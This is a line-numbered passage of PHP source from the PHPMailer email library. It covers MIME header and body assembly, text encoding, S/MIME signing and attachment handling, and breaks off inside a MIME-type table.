2215 * @return int
2216 */
2217 function UTF8CharBoundary($encodedText, $maxLength) {
2218 $foundSplitPos = false;
2219 $lookBack = 3;
2220 while (!$foundSplitPos) {
2221 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2222 $encodedCharPos = strpos($lastChunk, "=");
2223 if ($encodedCharPos !== false) {
2224 // Found start of encoded character byte within $lookBack block.
2225 // Check the encoded byte value (the 2 chars after the '=')
2226 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2227 $dec = hexdec($hex);
2228 if ($dec < 128) { // Single byte character.
2229 // If the encoded char was found at pos 0, it will fit
2230 // otherwise reduce maxLength to start of the encoded char
2231 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2232 $maxLength - ($lookBack - $encodedCharPos);
2233 $foundSplitPos = true;
2234 } elseif ($dec >= 192) { // First byte of a multi byte character
2235 // Reduce maxLength to split at start of character
2236 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2237 $foundSplitPos = true;
2238 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2239 $lookBack += 3;
2240 }
2241 } else {
2242 // No encoded character found
2243 $foundSplitPos = true;
2244 }
2245 }
2246 return $maxLength;
2247 }
2248
2249 /**
2250 * Set the body wrapping.
2251 * @access private
2252 * @return void
2253 */
2254 function SetWordWrap() {
2255 if($this->WordWrap < 1) {
2256 return;
2257 }
2258
2259 switch($this->message_type) {
2260 case 'alt':
2261 /* fall through */
2262 case 'alt_attachments':
2263 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2264 break;
2265 default:
2266 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2267 break;
2268 }
2269 }
2270
2271 /**
2272 * Assembles message header.
2273 * @access private
2274 * @return string
2275 */
2276 function CreateHeader() {
2277 $result = '';
2278
2279 /* Set the boundaries */
2280 $uniq_id = md5(uniqid(time()));
2281 $this->boundary[1] = 'b1_' . $uniq_id;
2282 $this->boundary[2] = 'b2_' . $uniq_id;
2283
2284 $result .= $this->HeaderLine('Date', $this->RFCDate());
2285 if($this->Sender == '') {
2286 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2287 } else {
2288 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2289 }
2290
2291 /* To be created automatically by mail() */
2292 if($this->Mailer != 'mail') {
2293 if(count($this->to) > 0) {
2294 $result .= $this->AddrAppend('To', $this->to);
2295 } elseif (count($this->cc) == 0) {
2296 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2297 }
2298 if(count($this->cc) > 0) {
2299 $result .= $this->AddrAppend('Cc', $this->cc);
2300 }
2301 }
2302
2303 $from = array();
2304 $from[0][0] = trim($this->From);
2305 $from[0][1] = $this->FromName;
2306 $result .= $this->AddrAppend('From', $from);
2307
2308 /* sendmail and mail() extract Cc from the header before sending */
2309 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2310 $result .= $this->AddrAppend('Cc', $this->cc);
2311 }
2312
2313 /* sendmail and mail() extract Bcc from the header before sending */
2314 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2315 $result .= $this->AddrAppend('Bcc', $this->bcc);
2316 }
2317
2318 if(count($this->ReplyTo) > 0) {
2319 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2320 }
2321
2322 /* mail() sets the subject itself */
2323 if($this->Mailer != 'mail') {
2324 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2325 }
2326
2327 if($this->MessageID != '') {
2328 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2329 } else {
2330 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2331 }
2332 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2333 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2334
2335 if($this->ConfirmReadingTo != '') {
2336 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2337 }
2338
2339 // Add custom headers
2340 for($index = 0; $index < count($this->CustomHeader); $index++) {
2341 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2342 }
2343 if (!$this->sign_key_file) {
2344 $result .= $this->HeaderLine('MIME-Version', '1.0');
2345 $result .= $this->GetMailMIME();
2346 }
2347
2348 return $result;
2349 }
2350
2351 /**
2352 * Returns the message MIME.
2353 * @access private
2354 * @return string
2355 */
2356 function GetMailMIME() {
2357 $result = '';
2358 switch($this->message_type) {
2359 case 'plain':
2360 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2361 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2362 break;
2363 case 'attachments':
2364 /* fall through */
2365 case 'alt_attachments':
2366 if($this->InlineImageExists()){
2367 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2368 } else {
2369 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2370 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2371 }
2372 break;
2373 case 'alt':
2374 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2375 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2376 break;
2377 }
2378
2379 if($this->Mailer != 'mail') {
2380 $result .= $this->LE.$this->LE;
2381 }
2382
2383 return $result;
2384 }
2385
2386 /**
2387 * Assembles the message body. Returns an empty string on failure.
2388 * @access private
2389 * @return string
2390 */
2391 function CreateBody() {
2392 $result = '';
2393 if ($this->sign_key_file) {
2394 $result .= $this->GetMailMIME();
2395 }
2396
2397 $this->SetWordWrap();
2398
2399 switch($this->message_type) {
2400 case 'alt':
2401 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2402 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2403 $result .= $this->LE.$this->LE;
2404 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2405 $result .= $this->EncodeString($this->Body, $this->Encoding);
2406 $result .= $this->LE.$this->LE;
2407 $result .= $this->EndBoundary($this->boundary[1]);
2408 break;
2409 case 'plain':
2410 $result .= $this->EncodeString($this->Body, $this->Encoding);
2411 break;
2412 case 'attachments':
2413 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2414 $result .= $this->EncodeString($this->Body, $this->Encoding);
2415 $result .= $this->LE;
2416 $result .= $this->AttachAll();
2417 break;
2418 case 'alt_attachments':
2419 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2420 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2421 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2422 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2423 $result .= $this->LE.$this->LE;
2424 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2425 $result .= $this->EncodeString($this->Body, $this->Encoding);
2426 $result .= $this->LE.$this->LE;
2427 $result .= $this->EndBoundary($this->boundary[2]);
2428 $result .= $this->AttachAll();
2429 break;
2430 }
2431
2432 if($this->IsError()) {
2433 $result = '';
2434 } else if ($this->sign_key_file) {
2435 $file = tempnam("", "mail");
2436 $fp = fopen($file, "w");
2437 fwrite($fp, $result);
2438 fclose($fp);
2439 $signed = tempnam("", "signed");
2440
2441 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2442 $fp = fopen($signed, "r");
2443 $result = fread($fp, filesize($this->sign_key_file));
2444 fclose($fp);
2445 } else {
2446 $this->SetError($this->Lang("signing").openssl_error_string());
2447 $result = '';
2448 }
2449
2450 unlink($file);
2451 unlink($signed);
2452 }
2453
2454 return $result;
2455 }
2456
2457 /**
2458 * Returns the start of a message boundary.
2459 * @access private
2460 */
2461 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2462 $result = '';
2463 if($charSet == '') {
2464 $charSet = $this->CharSet;
2465 }
2466 if($contentType == '') {
2467 $contentType = $this->ContentType;
2468 }
2469 if($encoding == '') {
2470 $encoding = $this->Encoding;
2471 }
2472 $result .= $this->TextLine('--' . $boundary);
2473 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2474 $result .= $this->LE;
2475 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2476 $result .= $this->LE;
2477
2478 return $result;
2479 }
2480
2481 /**
2482 * Returns the end of a message boundary.
2483 * @access private
2484 */
2485 function EndBoundary($boundary) {
2486 return $this->LE . '--' . $boundary . '--' . $this->LE;
2487 }
2488
2489 /**
2490 * Sets the message type.
2491 * @access private
2492 * @return void
2493 */
2494 function SetMessageType() {
2495 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2496 $this->message_type = 'plain';
2497 } else {
2498 if(count($this->attachment) > 0) {
2499 $this->message_type = 'attachments';
2500 }
2501 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2502 $this->message_type = 'alt';
2503 }
2504 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2505 $this->message_type = 'alt_attachments';
2506 }
2507 }
2508 }
2509
2510 /* Returns a formatted header line.
2511 * @access private
2512 * @return string
2513 */
2514 function HeaderLine($name, $value) {
2515 return $name . ': ' . $value . $this->LE;
2516 }
2517
2518 /**
2519 * Returns a formatted mail line.
2520 * @access private
2521 * @return string
2522 */
2523 function TextLine($value) {
2524 return $value . $this->LE;
2525 }
2526
2527 /////////////////////////////////////////////////
2528 // CLASS METHODS, ATTACHMENTS
2529 /////////////////////////////////////////////////
2530
2531 /**
2532 * Adds an attachment from a path on the filesystem.
2533 * Returns false if the file could not be found
2534 * or accessed.
2535 * @param string $path Path to the attachment.
2536 * @param string $name Overrides the attachment name.
2537 * @param string $encoding File encoding (see $Encoding).
2538 * @param string $type File extension (MIME) type.
2539 * @return bool
2540 */
2541 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2542 if(!@is_file($path)) {
2543 $this->SetError($this->Lang('file_access') . $path);
2544 return false;
2545 }
2546
2547 $filename = basename($path);
2548 if($name == '') {
2549 $name = $filename;
2550 }
2551
2552 $cur = count($this->attachment);
2553 $this->attachment[$cur][0] = $path;
2554 $this->attachment[$cur][1] = $filename;
2555 $this->attachment[$cur][2] = $name;
2556 $this->attachment[$cur][3] = $encoding;
2557 $this->attachment[$cur][4] = $type;
2558 $this->attachment[$cur][5] = false; // isStringAttachment
2559 $this->attachment[$cur][6] = 'attachment';
2560 $this->attachment[$cur][7] = 0;
2561
2562 return true;
2563 }
2564
2565 /**
2566 * Attaches all fs, string, and binary attachments to the message.
2567 * Returns an empty string on failure.
2568 * @access private
2569 * @return string
2570 */
2571 function AttachAll() {
2572 /* Return text of body */
2573 $mime = array();
2574
2575 /* Add all attachments */
2576 for($i = 0; $i < count($this->attachment); $i++) {
2577 /* Check for string attachment */
2578 $bString = $this->attachment[$i][5];
2579 if ($bString) {
2580 $string = $this->attachment[$i][0];
2581 } else {
2582 $path = $this->attachment[$i][0];
2583 }
2584
2585 $filename = $this->attachment[$i][1];
2586 $name = $this->attachment[$i][2];
2587 $encoding = $this->attachment[$i][3];
2588 $type = $this->attachment[$i][4];
2589 $disposition = $this->attachment[$i][6];
2590 $cid = $this->attachment[$i][7];
2591
2592 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2593 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2594 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2595
2596 if($disposition == 'inline') {
2597 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2598 }
2599
2600 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2601
2602 /* Encode as string attachment */
2603 if($bString) {
2604 $mime[] = $this->EncodeString($string, $encoding);
2605 if($this->IsError()) {
2606 return '';
2607 }
2608 $mime[] = $this->LE.$this->LE;
2609 } else {
2610 $mime[] = $this->EncodeFile($path, $encoding);
2611 if($this->IsError()) {
2612 return '';
2613 }
2614 $mime[] = $this->LE.$this->LE;
2615 }
2616 }
2617
2618 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2619
2620 return join('', $mime);
2621 }
2622
2623 /**
2624 * Encodes attachment in requested format. Returns an
2625 * empty string on failure.
2626 * @access private
2627 * @return string
2628 */
2629 function EncodeFile ($path, $encoding = 'base64') {
2630 if(!@$fd = fopen($path, 'rb')) {
2631 $this->SetError($this->Lang('file_open') . $path);
2632 return '';
2633 }
2634 $magic_quotes = get_magic_quotes_runtime();
2635 set_magic_quotes_runtime(0);
2636 $file_buffer = fread($fd, filesize($path));
2637 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2638 fclose($fd);
2639 set_magic_quotes_runtime($magic_quotes);
2640
2641 return $file_buffer;
2642 }
2643
2644 /**
2645 * Encodes string to requested format. Returns an
2646 * empty string on failure.
2647 * @access private
2648 * @return string
2649 */
2650 function EncodeString ($str, $encoding = 'base64') {
2651 $encoded = '';
2652 switch(strtolower($encoding)) {
2653 case 'base64':
2654 /* chunk_split is found in PHP >= 3.0.6 */
2655 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2656 break;
2657 case '7bit':
2658 case '8bit':
2659 $encoded = $this->FixEOL($str);
2660 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2661 $encoded .= $this->LE;
2662 break;
2663 case 'binary':
2664 $encoded = $str;
2665 break;
2666 case 'quoted-printable':
2667 $encoded = $this->EncodeQP($str);
2668 break;
2669 default:
2670 $this->SetError($this->Lang('encoding') . $encoding);
2671 break;
2672 }
2673 return $encoded;
2674 }
2675
2676 /**
2677 * Encode a header string to best of Q, B, quoted or none.
2678 * @access private
2679 * @return string
2680 */
2681 function EncodeHeader ($str, $position = 'text') {
2682 $x = 0;
2683
2684 switch (strtolower($position)) {
2685 case 'phrase':
2686 if (!preg_match('/[\200-\377]/', $str)) {
2687 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2688 $encoded = addcslashes($str, "\0..\37\177\\\"");
2689 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2690 return ($encoded);
2691 } else {
2692 return ("\"$encoded\"");
2693 }
2694 }
2695 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2696 break;
2697 case 'comment':
2698 $x = preg_match_all('/[()"]/', $str, $matches);
2699 /* Fall-through */
2700 case 'text':
2701 default:
2702 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2703 break;
2704 }
2705
2706 if ($x == 0) {
2707 return ($str);
2708 }
2709
2710 $maxlen = 75 - 7 - strlen($this->CharSet);
2711 /* Try to select the encoding which should produce the shortest output */
2712 if (strlen($str)/3 < $x) {
2713 $encoding = 'B';
2714 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2715 // Use a custom function which correctly encodes and wraps long
2716 // multibyte strings without breaking lines within a character
2717 $encoded = $this->Base64EncodeWrapMB($str);
2718 } else {
2719 $encoded = base64_encode($str);
2720 $maxlen -= $maxlen % 4;
2721 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2722 }
2723 } else {
2724 $encoding = 'Q';
2725 $encoded = $this->EncodeQ($str, $position);
2726 $encoded = $this->WrapText($encoded, $maxlen, true);
2727 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2728 }
2729
2730 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2731 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2732
2733 return $encoded;
2734 }
2735
2736 /**
2737 * Checks if a string contains multibyte characters.
2738 * @access private
2739 * @param string $str multi-byte text to wrap encode
2740 * @return bool
2741 */
2742 function HasMultiBytes($str) {
2743 if (function_exists('mb_strlen')) {
2744 return (strlen($str) > mb_strlen($str, $this->CharSet));
2745 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2746 return False;
2747 }
2748 }
2749
2750 /**
2751 * Correctly encodes and wraps long multibyte strings for mail headers
2752 * without breaking lines within a character.
2753 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2754 * @access private
2755 * @param string $str multi-byte text to wrap encode
2756 * @return string
2757 */
2758 function Base64EncodeWrapMB($str) {
2759 $start = "=?".$this->CharSet."?B?";
2760 $end = "?=";
2761 $encoded = "";
2762
2763 $mb_length = mb_strlen($str, $this->CharSet);
2764 // Each line must have length <= 75, including $start and $end
2765 $length = 75 - strlen($start) - strlen($end);
2766 // Average multi-byte ratio
2767 $ratio = $mb_length / strlen($str);
2768 // Base64 has a 4:3 ratio
2769 $offset = $avgLength = floor($length * $ratio * .75);
2770
2771 for ($i = 0; $i < $mb_length; $i += $offset) {
2772 $lookBack = 0;
2773
2774 do {
2775 $offset = $avgLength - $lookBack;
2776 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2777 $chunk = base64_encode($chunk);
2778 $lookBack++;
2779 }
2780 while (strlen($chunk) > $length);
2781
2782 $encoded .= $chunk . $this->LE;
2783 }
2784
2785 // Chomp the last linefeed
2786 $encoded = substr($encoded, 0, -strlen($this->LE));
2787 return $encoded;
2788 }
2789
2790 /**
2791 * Encode string to quoted-printable.
2792 * @access private
2793 * @return string
2794 */
2795 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2796 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2797 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2798 $eol = "\r\n";
2799 $escape = '=';
2800 $output = '';
2801 while( list(, $line) = each($lines) ) {
2802 $linlen = strlen($line);
2803 $newline = '';
2804 for($i = 0; $i < $linlen; $i++) {
2805 $c = substr( $line, $i, 1 );
2806 $dec = ord( $c );
2807 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2808 $c = '=2E';
2809 }
2810 if ( $dec == 32 ) {
2811 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2812 $c = '=20';
2813 } else if ( $space_conv ) {
2814 $c = '=20';
2815 }
2816 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2817 $h2 = floor($dec/16);
2818 $h1 = floor($dec%16);
2819 $c = $escape.$hex[$h2].$hex[$h1];
2820 }
2821 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2822 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2823 $newline = '';
2824 // check if newline first character will be point or not
2825 if ( $dec == 46 ) {
2826 $c = '=2E';
2827 }
2828 }
2829 $newline .= $c;
2830 } // end of for
2831 $output .= $newline.$eol;
2832 } // end of while
2833 return trim($output);
2834 }
2835
2836 /**
2837 * Encode string to q encoding.
2838 * @access private
2839 * @return string
2840 */
2841 function EncodeQ ($str, $position = 'text') {
2842 /* There should not be any EOL in the string */
2843 $encoded = preg_replace("[\r\n]", '', $str);
2844
2845 switch (strtolower($position)) {
2846 case 'phrase':
2847 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2848 break;
2849 case 'comment':
2850 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2851 case 'text':
2852 default:
2853 /* Replace every high ascii, control =, ? and _ characters */
2854 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2855 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2856 break;
2857 }
2858
2859 /* Replace every spaces to _ (more readable than =20) */
2860 $encoded = str_replace(' ', '_', $encoded);
2861
2862 return $encoded;
2863 }
2864
2865 /**
2866 * Adds a string or binary attachment (non-filesystem) to the list.
2867 * This method can be used to attach ascii or binary data,
2868 * such as a BLOB record from a database.
2869 * @param string $string String attachment data.
2870 * @param string $filename Name of the attachment.
2871 * @param string $encoding File encoding (see $Encoding).
2872 * @param string $type File extension (MIME) type.
2873 * @return void
2874 */
2875 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2876 /* Append to $attachment array */
2877 $cur = count($this->attachment);
2878 $this->attachment[$cur][0] = $string;
2879 $this->attachment[$cur][1] = $filename;
2880 $this->attachment[$cur][2] = $filename;
2881 $this->attachment[$cur][3] = $encoding;
2882 $this->attachment[$cur][4] = $type;
2883 $this->attachment[$cur][5] = true; // isString
2884 $this->attachment[$cur][6] = 'attachment';
2885 $this->attachment[$cur][7] = 0;
2886 }
2887
2888 /**
2889 * Adds an embedded attachment. This can include images, sounds, and
2890 * just about any other document. Make sure to set the $type to an
2891 * image type. For JPEG images use "image/jpeg" and for GIF images
2892 * use "image/gif".
2893 * @param string $path Path to the attachment.
2894 * @param string $cid Content ID of the attachment. Use this to identify
2895 * the Id for accessing the image in an HTML form.
2896 * @param string $name Overrides the attachment name.
2897 * @param string $encoding File encoding (see $Encoding).
2898 * @param string $type File extension (MIME) type.
2899 * @return bool
2900 */
2901 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2902
2903 if(!@is_file($path)) {
2904 $this->SetError($this->Lang('file_access') . $path);
2905 return false;
2906 }
2907
2908 $filename = basename($path);
2909 if($name == '') {
2910 $name = $filename;
2911 }
2912
2913 /* Append to $attachment array */
2914 $cur = count($this->attachment);
2915 $this->attachment[$cur][0] = $path;
2916 $this->attachment[$cur][1] = $filename;
2917 $this->attachment[$cur][2] = $name;
2918 $this->attachment[$cur][3] = $encoding;
2919 $this->attachment[$cur][4] = $type;
2920 $this->attachment[$cur][5] = false;
2921 $this->attachment[$cur][6] = 'inline';
2922 $this->attachment[$cur][7] = $cid;
2923
2924 return true;
2925 }
2926
2927 /**
2928 * Returns true if an inline attachment is present.
2929 * @access private
2930 * @return bool
2931 */
2932 function InlineImageExists() {
2933 $result = false;
2934 for($i = 0; $i < count($this->attachment); $i++) {
2935 if($this->attachment[$i][6] == 'inline') {
2936 $result = true;
2937 break;
2938 }
2939 }
2940
2941 return $result;
2942 }
2943
2944 /////////////////////////////////////////////////
2945 // CLASS METHODS, MESSAGE RESET
2946 /////////////////////////////////////////////////
2947
2948 /**
2949 * Clears all recipients assigned in the TO array. Returns void.
2950 * @return void
2951 */
2952 function ClearAddresses() {
2953 $this->to = array();
2954 }
2955
2956 /**
2957 * Clears all recipients assigned in the CC array. Returns void.
2958 * @return void
2959 */
2960 function ClearCCs() {
2961 $this->cc = array();
2962 }
2963
2964 /**
2965 * Clears all recipients assigned in the BCC array. Returns void.
2966 * @return void
2967 */
2968 function ClearBCCs() {
2969 $this->bcc = array();
2970 }
2971
2972 /**
2973 * Clears all recipients assigned in the ReplyTo array. Returns void.
2974 * @return void
2975 */
2976 function ClearReplyTos() {
2977 $this->ReplyTo = array();
2978 }
2979
2980 /**
2981 * Clears all recipients assigned in the TO, CC and BCC
2982 * array. Returns void.
2983 * @return void
2984 */
2985 function ClearAllRecipients() {
2986 $this->to = array();
2987 $this->cc = array();
2988 $this->bcc = array();
2989 }
2990
2991 /**
2992 * Clears all previously set filesystem, string, and binary
2993 * attachments. Returns void.
2994 * @return void
2995 */
2996 function ClearAttachments() {
2997 $this->attachment = array();
2998 }
2999
3000 /**
3001 * Clears all custom headers. Returns void.
3002 * @return void
3003 */
3004 function ClearCustomHeaders() {
3005 $this->CustomHeader = array();
3006 }
3007
3008 /////////////////////////////////////////////////
3009 // CLASS METHODS, MISCELLANEOUS
3010 /////////////////////////////////////////////////
3011
3012 /**
3013 * Adds the error message to the error container.
3014 * Returns void.
3015 * @access private
3016 * @return void
3017 */
3018 function SetError($msg) {
3019 $this->error_count++;
3020 $this->ErrorInfo = $msg;
3021 }
3022
3023 /**
3024 * Returns the proper RFC 822 formatted date.
3025 * @access private
3026 * @return string
3027 */
3028 function RFCDate() {
3029 $tz = date('Z');
3030 $tzs = ($tz < 0) ? '-' : '+';
3031 $tz = abs($tz);
3032 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3033 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3034
3035 return $result;
3036 }
3037
3038 /**
3039 * Returns the appropriate server variable. Should work with both
3040 * PHP 4.1.0+ as well as older versions. Returns an empty string
3041 * if nothing is found.
3042 * @access private
3043 * @return mixed
3044 */
3045 function ServerVar($varName) {
3046 global $HTTP_SERVER_VARS;
3047 global $HTTP_ENV_VARS;
3048
3049 if(!isset($_SERVER)) {
3050 $_SERVER = $HTTP_SERVER_VARS;
3051 if(!isset($_SERVER['REMOTE_ADDR'])) {
3052 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3053 }
3054 }
3055
3056 if(isset($_SERVER[$varName])) {
3057 return $_SERVER[$varName];
3058 } else {
3059 return '';
3060 }
3061 }
3062
3063 /**
3064 * Returns the server hostname or 'localhost.localdomain' if unknown.
3065 * @access private
3066 * @return string
3067 */
3068 function ServerHostname() {
3069 if ($this->Hostname != '') {
3070 $result = $this->Hostname;
3071 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3072 $result = $this->ServerVar('SERVER_NAME');
3073 } else {
3074 $result = 'localhost.localdomain';
3075 }
3076
3077 return $result;
3078 }
3079
3080 /**
3081 * Returns a message in the appropriate language.
3082 * @access private
3083 * @return string
3084 */
3085 function Lang($key) {
3086 if(count($this->language) < 1) {
3087 $this->SetLanguage('en'); // set the default language
3088 }
3089
3090 if(isset($this->language[$key])) {
3091 return $this->language[$key];
3092 } else {
3093 return 'Language string failed to load: ' . $key;
3094 }
3095 }
3096
3097 /**
3098 * Returns true if an error occurred.
3099 * @return bool
3100 */
3101 function IsError() {
3102 return ($this->error_count > 0);
3103 }
3104
3105 /**
3106 * Changes every end of line from CR or LF to CRLF.
3107 * @access private
3108 * @return string
3109 */
3110 function FixEOL($str) {
3111 $str = str_replace("\r\n", "\n", $str);
3112 $str = str_replace("\r", "\n", $str);
3113 $str = str_replace("\n", $this->LE, $str);
3114 return $str;
3115 }
3116
3117 /**
3118 * Adds a custom header.
3119 * @return void
3120 */
3121 function AddCustomHeader($custom_header) {
3122 $this->CustomHeader[] = explode(':', $custom_header, 2);
3123 }
3124
3125 /**
3126 * Evaluates the message and returns modifications for inline images and backgrounds
3127 * @access public
3128 * @return $message
3129 */
3130 function MsgHTML($message,$basedir='') {
3131 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3132 if(isset($images[2])) {
3133 foreach($images[2] as $i => $url) {
3134 // do not change urls for absolute images (thanks to corvuscorax)
3135 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3136 $filename = basename($url);
3137 $directory = dirname($url);
3138 ($directory == '.')?$directory='':'';
3139 $cid = 'cid:' . md5($filename);
3140 $fileParts = split("\.", $filename);
3141 $ext = $fileParts[1];
3142 $mimeType = $this->_mime_types($ext);
3143 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3144 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3145 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3146 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3147 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3148 }
3149 }
3150 }
3151 }
3152 $this->IsHTML(true);
3153 $this->Body = $message;
3154 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3155 if ( !empty($textMsg) && empty($this->AltBody) ) {
3156 $this->AltBody = $textMsg;
3157 }
3158 if ( empty($this->AltBody) ) {
3159 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3160 }
3161 }
3162
3163 /**
3164 * Gets the mime type of the embedded or inline image
3165 * @access private
3166 * @return mime type of ext
3167 */
3168 function _mime_types($ext = '') {
3169 $mimes = array(
3170 'hqx' => 'application/mac-binhex40',
3171 'cpt' => 'application/mac-compactpro',
3172 'doc' => 'application/msword',
3173 'bin' => 'application/macbinary',
3174 'dms' => 'application/octet-stream',
3175 'lha' => 'application/octet-stream',
3176 'lzh' => 'application/octet-stream',
3177 'exe' => 'application/octet-stream',
3178 'class' => 'application/octet-stream',
3179 'psd' => 'application/octet-stream',
3180 'so' => 'application/octet-stream',
3181 'sea' => 'application/octet-stream',
3182 'dll' => 'application/octet-stream',
3183 'oda' => 'application/oda',
3184 'pdf' => 'application/pdf',
3185 'ai' => 'application/postscript',
3186 'eps' => 'application/postscript',
3187 'ps' => 'application/postscript',
3188 'smi' => 'application/smil',
3189 'smil' => 'application/smil',
3190 'mif' => 'application/vnd.mif',
3191 'xls' => 'application/vnd.ms-excel',
3192 'ppt' => 'application/vnd.ms-powerpoint',
3193 'wbxml' => 'application/vnd.wap.wbxml',
3194 'wmlc' => 'application/vnd.wap.wmlc',
3195 'dcr' => 'application/x-director',
3196 'dir' => 'application/x-director',
3197 'dxr' => 'application/x-director',
3198 'dvi' => 'application/x-dvi',
3199 'gtar' => 'application/x-gtar',
